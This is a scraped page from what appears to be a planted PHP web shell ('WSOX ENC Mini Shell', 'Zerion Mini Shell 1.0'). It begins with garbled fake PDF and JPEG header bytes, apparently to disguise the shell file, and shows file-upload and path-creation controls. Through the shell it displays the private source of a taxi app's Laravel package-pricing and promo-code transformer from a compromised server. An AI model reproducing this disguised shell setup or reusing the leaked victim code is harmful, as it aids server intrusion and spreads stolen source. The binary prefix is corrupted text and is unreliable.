%PDF- %PDF- ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC
Mini Shell

Mini Shell

Direktori : /var/www/html/ctctaxi/app/Transformers/Requests/
Upload File :
Create Path :
Current File : /var/www/html/ctctaxi/app/Transformers/Requests/PackagesTransformer.php

<?php

namespace App\Transformers\Requests;

use App\Models\Master\PackageType;
use App\Transformers\Transformer;
use App\Helpers\Exception\ExceptionHelpers;
use App\Models\Admin\ZoneType;
use App\Transformers\User\ZoneTypeTransformer;
use App\Transformers\Requests\ZoneTypeWithPackagePriceTransformer;
use App\Models\Admin\Promo;
use Carbon\Carbon;
use App\Models\Admin\PromoUser;
use App\Base\Constants\Auth\Role;
use Log;
use App\Models\Admin\ZoneTypePackagePrice;

class PackagesTransformer extends Transformer
{
    use ExceptionHelpers;
     /**
     * Resources that can be included if requested.
     *
     * @var array
     */
    protected array $availableIncludes = [
        
    ];
    /**
     * Resources that can be included default.
     *
     * @var array
     */
    protected array $defaultIncludes = [
        
        'typesWithPrice'
    ];

    /**
     * A Fractal transformer.
     *
     * @param PackageType $package
     * @return array
     */
    public function transform(PackageType $package)
    {
        $params = [
            'id' => $package->id,
            'package_name'=>$package->name,
            'description'=>$package->description,
            'short_description'=>$package->short_description,
        ];


        $user_balance = 0;


        // userWallet
        if(!auth()->user()->hasRole(Role::DRIVER) && !auth()->user()->hasRole(Role::DISPATCHER) )
        {

        $user = auth()->user();

        // $user_balance = $user->userWallet ? $user->userWallet->amount_balance : 0;

        $user_balance =  $user->userWallet->amount_balance;
        }


        $params['user_wallet_balance'] = $user_balance;

        if(request()->input('pick_lat') && request()->input('pick_lng'))
        {
       
        $zone_detail = find_zone(request()->input('pick_lat'), request()->input('pick_lng'));


        $maxBasePrice = ZoneTypePackagePrice::whereHas('zoneType', function ($query) use ($zone_detail) {
            $query->where('zone_id', $zone_detail->id);
        })->where('package_type_id', $package->id)->max('base_price');

        // Retrieve the minimum base price for the selected zone and package type
        $minBasePrice = ZoneTypePackagePrice::whereHas('zoneType', function ($query) use ($zone_detail) {
            $query->where('zone_id', $zone_detail->id);
        })->where('package_type_id', $package->id)->min('base_price');


// Log::info("----maxBasePrice----");

// Log::info($maxBasePrice);

// Log::info("----minBasePrice----");

// Log::info($minBasePrice);


        $params['currency'] = $zone_detail->serviceLocation->currency_symbol;
        $params['currency_name'] = $zone_detail->serviceLocation->currency_code;

        $params['max_price'] = $maxBasePrice;
        $params['min_price'] = $minBasePrice;


        }


        return $params;
    }


    /**
    * Include the vehicle type along with price.
    *
    * @param User $user
    * @return \League\Fractal\Resource\Collection|\League\Fractal\Resource\NullResource
    */
    public function includeTypesWithPrice(PackageType $package)
    {   

        $zone_detail = find_zone(request()->input('pick_lat'), request()->input('pick_lng'));

        if (!$zone_detail) {
            $this->throwCustomException('service not available with this location');
        }

        $types = ZoneType::where('zone_id',$zone_detail->id)->whereHas('zoneTypePackage',function($query)use($package){
            $query->where('package_type_id',$package->id);
        })->get();

        $zone_types = [];
        $user = auth()->user();

        foreach ($types as $key => $type) {

            $prices = $type->zoneTypePackage()->where('package_type_id',$package->id)->first();


        // $user_balance = $user->userWallet ? $user->userWallet->amount_balance : 0;

        $user_balance =  $user->userWallet->amount_balance ?? 0;

            $zone_types[] = array(
                'zone_type_id'=>$type->id,
                'type_id'=>$type->type_id,
                'name'=>$type->vehicle_type_name,
                'icon'=>$type->icon,
                'capacity'=>$type->vehicleType->capacity,
                'currency'=> $type->zone->serviceLocation->currency_symbol,
                'unit' => $type->zone->unit,
                'unit_in_words' => $type->zone->unit ? 'Km' : 'Miles',
                'distance_price_per_km'=>$prices->distance_price_per_km,
                'time_price_per_min'=>$prices->time_price_per_min,
                'free_distance'=>$prices->free_distance,
                'free_min'=>$prices->free_min,
                'payment_type'=>$type->payment_type,
                'fare_amount'=>$prices->base_price,
                'description'=> $type->vehicleType->description,
                'short_description'=> $type->vehicleType->short_description,
                'supported_vehicles'=> $type->vehicleType->supported_vehicles,
                'is_default'=>$type->zone->default_vehicle_type==$type->type_id?true:false,
                'discounted_totel'=>0,
                'has_discount'=>false,
                'promocode_id'=>null,
                'user_wallet_balance'=>$user_balance ,
            );

            if (request()->has('promo_code') && request()->input('promo_code')) {
            $coupon_detail = $this->validate_promo_code($zone_detail->service_location_id);

            if ($coupon_detail) {
            if ($coupon_detail->minimum_trip_amount < $prices->base_price) {
            $discount_amount = $prices->base_price * ($coupon_detail->discount_percent/100);
            if ($coupon_detail->maximum_discount_amount>0 && $discount_amount > $coupon_detail->maximum_discount_amount) {
            $discount_amount = $coupon_detail->maximum_discount_amount;
            }
            $coupon_applied_sub_total = $prices->base_price - $discount_amount;
            $zone_types[$key]['discounted_totel'] = $coupon_applied_sub_total;

            $zone_types[$key]['has_discount'] = true;
            
            $zone_types[$key]['promocode_id'] = $coupon_detail->id;


            }else{
            // $this->throwCustomException('promo cannot be used to your trip amount');

            }

            }
            }


        }



              
        return $zone_types
        ? $this->collection(collect($zone_types), new ZoneTypeWithPackagePriceTransformer)
        : $this->null();
    }

    public function validate_promo_code($service_location)
    {
        $app_for = config('app.app_for');


        $user = auth()->user();
        if (!request()->has('promo_code')) {
            return $coupon_detail = null;
        }
        $promo_code = request()->input('promo_code');
        // Validate if the promo is expired
        $current_date = Carbon::today()->toDateTimeString();

        if($app_for=='taxi' || $app_for=='delivery')
        {      
        $expired = Promo::where('code', $promo_code)->where('to', '>', $current_date)->first();
        }else{
            $transport_type = request()->transport_type;
            $expired = Promo::where('code', $promo_code)->where(function($query)use($transport_type){
            $query->where('transport_type',$transport_type)->orWhere('transport_type','both');
            })->where('to', '>', $current_date)->where('active',true)->first();

        }
        if (!$expired) {
            $this->throwCustomException('provided promo code expired or invalid');
        }
        if($expired->promo_code_users_availabe == "yes")
        {
            $validate_promo_code = PromoCodeUser::where('promo_code_id', $expired->id)->where('user_id', $user->id)->where('service_location_id', $service_location)->first();
            if(!$validate_promo_code)
            {
                $this->throwCustomException('provided promo code expired or invalid');
            }
        }

        $exceed_usage = PromoUser::where('promo_code_id', $expired->id)->where('user_id', $user->id)->count(); 
        // Log::info($user);
        // Log::info($exceed_usage);
        // Log::info("testt");
        // Log::info(json_encode($expired));       
        if ($exceed_usage >= $expired->uses_per_user) {
            $this->throwCustomException('provided promo code expired or invalid');
        }

        return $expired;
        
    }


    //  public function validate_promo_code($service_location)
    // {
    //     $user = auth()->user();
    //     if (!request()->has('promo_code')) {
    //         return $coupon_detail = null;
    //     }
    //     $promo_code = request()->input('promo_code');
    //     // Validate if the promo is expired
    //     $current_date = Carbon::today()->toDateTimeString();

    //     $expired = Promo::where('code', $promo_code)->where('from', '<=', $current_date)->where('to', '>=', $current_date)->where('service_location_id', $service_location)->first();

    //     if (!$expired) {
    //         $this->throwCustomException('provided promo code expired or invalid');
    //     }
    //     // $exceed_usage = PromoUser::where('promo_code_id', $expired->id)->where('user_id', $user->id)->get()->count();
    //     // if ($exceed_usage >= $expired->uses_per_user) {
    //     //     $this->throwCustomException('you have exceeded your limit for this promo');
    //     // }
    //     // if ($expired->total_uses > $expired->total_uses+1) {
    //     //     $this->throwCustomException('provided promo code expired');
    //     // }
    //     return $expired;
    // }
}

Zerion Mini Shell 1.0